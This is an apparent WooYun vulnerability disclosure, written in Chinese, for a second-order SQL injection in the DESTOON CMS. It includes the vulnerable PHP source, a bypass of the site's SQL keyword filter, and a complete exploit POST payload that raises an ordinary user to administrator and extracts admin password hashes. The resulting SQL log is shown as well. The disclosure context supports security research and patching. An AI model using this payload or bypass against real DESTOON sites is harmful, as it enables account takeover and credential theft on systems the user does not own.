当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-069012

漏洞标题:DESTOON 最新版注入可提升为管理员权限

相关厂商:DESTOON

漏洞作者: Noxxx

提交时间:2014-07-19 18:32

修复时间:2014-10-17 18:34

公开时间:2014-10-17 18:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-19: 细节已通知厂商并且等待厂商处理中
2014-07-20: 厂商已经确认,细节仅向厂商公开
2014-07-23: 细节向第三方安全合作伙伴开放
2014-09-13: 细节向核心白帽子及相关领域专家公开
2014-09-23: 细节向普通白帽子公开
2014-10-03: 细节向实习白帽子公开
2014-10-17: 细节向公众公开

简要描述:

20140716
注入,提升权限可登陆后台
(终于要升级了..)

详细说明:

由于注册的时候 公司名称没有做什么过滤 (只是 看是否有数字 如有就不通过 反之通过)
修改资料的时候又从数据库中吧 公司名称 查出来 然后进入查询流程所导致的注入 由于 admin权限的表不是独立的 所以我们可以更新 用户组
1 - 注册 判断公司名称的代码
在 member.class.php is_member() 中
124 - 130 行

if($groupid > 5) {
if(strlen($member['company']) < 2) return $this->_($L['member_company_null']);
if(preg_match("/[0-9]+/", $member['company'])) return $this->_($L['member_company_bad']); //这里 判断是不是数字 是数字就判断结束 .
if($this->company_exists($member['company'])) return $this->_($L['member_company_reg']);
if(strlen($member['type']) < 2) return $this->_($L['member_type_null']);
if(strlen($member['telephone']) < 6) return $this->_($L['member_telephone_null']);
}




2 - 修改资料 的代码
member/edit.inc.php

$user = $do->get_one(); //这里先把查出来  在赋值到$post去 (防止有先变量被修改) 
因为公司名称 是可以控制的 我们输入注册的时候 输入 \ 让他转义掉后面的单引号
if($submit) {
if($post['password'] && $user['password'] != md5(md5($post['oldpassword']))) message($L['error_password']);
if($post['payword'] && $user['payword'] != md5(md5($post['oldpayword']))) message($L['error_payword']);
$post['groupid'] = $user['groupid'];
$post['email'] = $user['email'];
$post['passport'] = $user['passport'];
$post['company'] = $user['company']; //在这里
$post['domain'] = $user['domain'];
$post['icp'] = $user['icp'];
$post['skin'] = $user['skin'];
$post['template'] = $user['template'];
$post['edittime'] = $DT_TIME;
$post['bank'] = $user['bank'];
$post['account'] = $user['account'];
$post['validated'] = $user['validated'];
$post['validator'] = $user['validator'];
$post['validtime'] = $user['validtime'];
$post['vemail'] = $user['vemail'];
$post['vmobile'] = $user['vmobile'];
$post['vtruename'] = $user['vtruename'];
$post['vbank'] = $user['vbank'];
$post['vcompany'] = $user['vcompany'];
$post['vtrade'] = $user['vtrade'];
$post['trade'] = $user['trade'];
$post['support'] = $user['support'];
$post['inviter'] = $user['inviter'];
if($post['vmobile']) $post['mobile'] = $user['mobile'];
if($post['vtruename']) $post['truename'] = $user['truename'];
if($do->edit($post)) { //进入修改查询流程 我们进去看看


3 - edit() 的代码

function edit($member)	{
if(!$this->is_member($member)) return false;
$member = $this->set_member($member);
$r = $this->get_one();
$member['linkurl'] = userurl($r['username'], '', $member['domain']);
$member_fields = array('company','passport','sound','email','msn','qq','ali','skype','gender','truename','mobile','department','career','groupid','areaid', 'edittime','black','bank','account','vemail','vmobile','vbank','vtruename','vcompany','vtrade','trade','support','inviter'); //会员列
$company_fields = array('company','type','areaid', 'catid','catids','business','mode','regyear','regunit','capital','size','address','postcode','telephone','fax','mail','homepage','sell','buy','introduce','thumb','keyword','linkurl','groupid','domain','icp','validated','validator','validtime','skin','template');//公司列
$member_sql = $company_sql = '';
foreach($member as $k=>$v) {
if(in_array($k, $member_fields)) $member_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来
if(in_array($k, $company_fields)) $company_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来
}
if($member['password']) {
$password = md5(md5($member['password']));
$member_sql .= ",password='$password'";
}
if($member['payword']) {
$payword = md5(md5($member['payword']));
$member_sql .= ",payword='$payword'";
}
$member_sql = substr($member_sql, 1);
$company_sql = substr($company_sql, 1);
$this->db->query("UPDATE {$this->table_member} SET $member_sql WHERE userid=$this->userid");//进入查询
$this->db->query("UPDATE {$this->table_company} SET $company_sql WHERE userid=$this->userid");//进入查询
$content_table = content_table(4, $this->userid, is_file(DT_CACHE.'/4.part'), $this->table_company_data);
$this->db->query("UPDATE {$content_table} SET content='$member[content]' WHERE userid=$this->userid");
$member['userid'] = $this->userid;
$member['vip'] = $r['vip'];
userclean($member['username']);
return true;
}


4 . 构造exp
由于post是个数组 又用了 foreach 我们可以 随意控制数组的位置
而且可以 先把 post[company]=ok先赋值掉(占个位子) 后面接着我们可控字段就可以了
---
还有个就是 全局过滤的问题
strip_sql()
原先是 /select([[:space:]\*\/\-])/i这样的
只需要 select(xxx)from(xx) 这样就能了
现在是 /select([[:space:]\*\/\-\(])/i
不过 还是能绕过过滤 select+(XXXX)from
这样既可,还有个问题就是 where这个被直接过滤掉了
"/where/i"
更新的时候,就不好办了 容易把所有用户全部更新掉..
研究了一下 ORDER BY username=16541651564 DESC LIMIT 1 这样就可以了 .. 不过你注册的用户名必须为数字的
exp:
tab=3&post[truename]=1&post[sound]=1&post[type]=1111&post[areaid]=1&post[catid]=,0,&post[business]=11ssssssssssssssss&post[regyear]=2004&post[regunit]=14&post[company]=ok&post[address]=,groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#&post[ali]=,groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #&&post[telephone]=132232132&post[fax]=&post[mail]=&post[homepage]=&post[introduce]=aaaaa&submit=1
mobile=这里也可以直接 (SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) LIMIT 0,1)
我这个有点麻烦..sql没学多少。。
sql日志
UPDATE destoon_member SET truename='1',sound='1',areaid='1',company='xxxxx\',ali=',groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #',groupid='6',email='1231ee23@qq.com',passport='16541651564',edittime='1405752561',bank='',account='',vemail='0',vmobile='0',vtruename='0',vbank='0',vcompany='0',vtrade='0',trade='',support='',inviter='',msn='',qq='' WHERE userid=12
UPDATE destoon_company SET type='1111',areaid='1',catid=',0,',business='11ssssssssssssssss',regyear='2004',regunit='14',company='xxxxx\',address=',groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#',telephone='132232132',fax='',mail='',homepage='',introduce='',groupid='6',domain='',icp='',skin='',template='',validated='0',validator='',validtime='0',postcode='',mode='',keyword='xxxxx\默认地区,11ssssssssssssssss,,,',capital='',catids=',,',linkurl='http://127.0.0.1/php/destoon_new/index.php?homepage=16541651564' WHERE userid=12
-----------------
注册的时候用burp 修改下公司 名称 :xxx\

漏洞证明:

QQ截图20140719144547.jpg


QQ截图20140719144725.jpg


QQ截图20140719144925.jpg


QQ截图20140719145006.jpg


QQ截图20140719145029.jpg

修复方案:

过滤

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-07-20 11:31

厂商回复:

感谢反馈,我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-19 19:01 | CoffeeSafe ( 普通白帽子 | Rank:142 漏洞数:37 )

    掉渣天~~~~~

  2. 2014-07-20 23:26 | Martes ( 路人 | Rank:21 漏洞数:3 | 人若无名,便可专心练剑)

    恭喜大牛快要生了, 膜拜下~~

  3. 2014-08-09 15:19 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    这个username 也可以用 userid代替

  4. 2014-10-20 16:39 | 宇少 ( 普通白帽子 | Rank:106 漏洞数:41 | Jyhack-TeaM:bbs.jyhack.com 群:308694453...)

    后台要关闭数据验证才可以的 所以很鸡勒

  5. 2014-10-20 17:23 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    @宇少 没影响

  6. 2014-10-22 10:49 | 浪子老柒 ( 实习白帽子 | Rank:34 漏洞数:2 | 关注网络安全)

    mark